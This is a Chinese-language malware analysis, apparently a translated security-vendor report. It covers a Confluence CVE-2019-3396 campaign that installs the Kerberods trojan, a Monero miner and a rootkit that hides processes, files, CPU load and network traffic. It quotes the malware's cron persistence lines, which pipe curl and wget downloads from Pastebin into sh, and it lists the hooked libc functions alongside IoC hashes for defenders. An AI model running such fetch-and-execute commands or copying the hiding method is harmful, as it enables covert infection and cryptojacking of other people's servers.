使用Rootkit實現惡意挖礦:CVE-2019-3396漏洞新型惡意利用方式分析
概述
Confluence是一個廣泛使用的協作與規劃軟體。在2019年3月,Atlassian釋出了一份諮詢報告,涉及到兩個Confluence的關鍵漏洞。4月,我們觀察到其中一個漏洞,即工具聯結器漏洞CVE-2019-3396被威脅參與者惡意利用以執行惡意攻擊。安全提供商Alert Logic還發現該漏洞被利用於投放Gandcrab勒索軟體。
上述這些事件,應該不會是我們最後一次發現CVE-2019-3396的開發利用事件,因為威脅行為者仍然在尋找利用此漏洞的新方法。我們發現,該漏洞還被利用於提供一個加密貨幣挖掘的惡意軟體,其中包含一個旨在隱藏其活動的Rootkit。這種技術很容易讓我們聯想到2018年11月發生的另一起使用挖礦工具+Rootkit組合的攻擊。
投放和傳播
該惡意活動的感染鏈如下:
在攻擊開始時,首先發送一個遠端命令,從Pastebin下載Shell指令碼(hxxps://pastebin[.]com/MjGrx7EA)。
該Shell指令碼會終止某些程序,然後從另一個Pastebin(hxxps://pastebin[.]com/CvJM3qz5)下載並執行lsd_1檔案。該檔案是第二個Shell指令碼,它會投放第三個Shell指令碼lsd_2,該指令碼來自另一個Pastebin(hxxps://pastebin[.]com/a3EAddwq)。
這一Shell指令碼負責從下面的伺服器中,下載木馬程式:
gwjyhs[.]com img[.]sobot[.]com
惡意軟體Kerberods(檢測為Trojan.Linux.KERBERDS.A)是一個自定義打包的二進位制檔案,該惡意軟體會通過cron任務來自行安裝:
*/10* * * * curl -fsSL hxxps://pastebin[.]com/raw/60T3uCcb|sh */15* * * * wget -q -O- hxxps://pastebin[.]com/raw/60T3uCcb|sh */10* * * * root curl -fsSL hxxps://pastebin[.]com/raw/60T3uCcb|sh */15* * * * root wget -q -O- hxxps://pastebin[.]com/raw/60T3uCcb|sh */15* * * * (curl -fsSL hxxps://pastebin[.]com/raw/rPB8eDpu||wget -q -O-hxxps://pastebin[.]com/raw/rPB8eDpu)|sh
Kerberods負責投放加密貨幣挖掘工具(khugepageds,檢測為Coinminer.Linux.MALXMR.UWEJI)及Rootkit元件。
在這裡,有一個非常值得關注的地方,就是二進位制檔案投放Rootkit的方式。首先,它將Rootkit的程式碼寫入名為/usr/local/lib/{random filename}.c的檔案中。
然後,通過gcc編譯Rootkit,輸出二進位制檔案到/usr/local/lib/{random filename}.so。
編譯Rootkit程式碼:
Kerberods還有多種傳播方式,比如利用CVE-2019-1003001和CVE-2019-1003000漏洞通過SSH方式傳播。
至於khugepageds,它是一個XMRig 2.14.1-mo1 門羅幣(Monero)挖礦工具,該挖礦的配置資訊以硬編碼的形式儲存到二進位制檔案中:
挖礦工具的配置:
我們可以在systemten[.]org:51640訪問該挖礦工具所使用的礦池。
使用Rootkit逃避檢測
如前文所述,此次攻擊與去年發生的攻擊事件具有許多相同的特徵,例如:都使用了Pastebin作為C&C伺服器、挖礦Payload相同、使用Rootkit來隱藏惡意軟體。
與Kerberods一樣,挖礦工具Payload也是用自定義加殼工具來防止安全研究人員的分析。
與僅對readdir函式進行掛鉤從而隱藏挖礦程序的舊版本Rootkit不同,新版本對更多函式進行了掛鉤。在新版本中,不僅隱藏了挖礦程序,還隱藏了某些檔案和網路流量。除此之外,還能夠偽造主機的CPU使用率。
新版本惡意軟體掛鉤的函式包括:
fopen、fopen64、lstat、lxstat、open、rmdir、stat、stat64、__xstat、__xstat64、unlink、unlinkat、opendir、readdir、readdir6。
如果它們的引數中包含諸如rootkit、miner或ld.so.preload這樣的檔名,那麼大多數掛鉤函式都會返回“No such file or directory error”(無此類檔案或目錄錯誤)。
被掛鉤的函式返回錯誤,以隱藏惡意軟體感染的跡象:
下圖展示了載入Rootkit時和未載入Rootkit時的htop系統監控輸出。我們可以重點關注載入Rootkit後如何隱藏CPU使用率和挖礦過程。
下圖為htop系統監控工具的輸出,左圖為未載入Rootkit時,右圖為載入Rootkit時:
下圖為netstat的輸出,左圖為未載入Rootkit時,右圖為載入Rootkit時:
下圖為偽造CPU使用率和TCP連線的函式:
偽造網路流量:
偽造CPU使用率:
Rootkit還將掛鉤訪問函式作為一種持久化的方式,以便建立一個cron任務,從而在該任務被呼叫時重新安裝惡意軟體。
下圖展示了用於下載和執行Kerberods的cron任務程式碼:
安全建議和解決方案
在很短的時間內,我們就已經看到了多起利用CVE-2019-3396的實際攻擊事件。這表明網路犯罪分子致力於(並且能夠)以多種方式濫用當前最新的漏洞。因此,作為防禦者,更應該開展持續監控,以檢測組織中存在的任何威脅。
為了進行有效地監控,組織可以使用混合雲安全解決方案,該解決方案可以針對DevOps提供強大、簡單和自動化的安全保障。此外,該方案中還具有多種威脅防禦技術,用於保護物理主機、虛擬主機和雲主機。藉助一些伺服器深度安全防護系統,可以幫助DevOps和安全團隊在預執行和執行時掃描容器映像,並確保其安全性。
該惡意活動的檢測規則為:
·Atlassian Confluence伺服器遠端執行程式碼漏洞(CVE-2019-3396)
IoC
kerberods(加密貨幣挖掘二進位制檔案)
· SHA-256:a9228b6a3fe0b8375d6b881626fd4b59fbbf54dbd60a94b085ee0455b3d18fe9
· 檢測名稱:Trojan.Linux.KERBERDS.A
Khugepageds(加密貨幣挖掘惡意軟體)
· SHA-256:25064a5ab78cdd36e7049d00b9319222906dd634908c1858e2262bf333631213
· 檢測名稱:Coinminer.Linux.MALXMR.UWEJI
random.so(Rootkit)
· SHA-256:3392589c9ebbf7600035574e338d69625cd5ce83ee655582fe8bbadb663532b3
· 檢測名稱:Rootkit.Linux.KERBERDS.A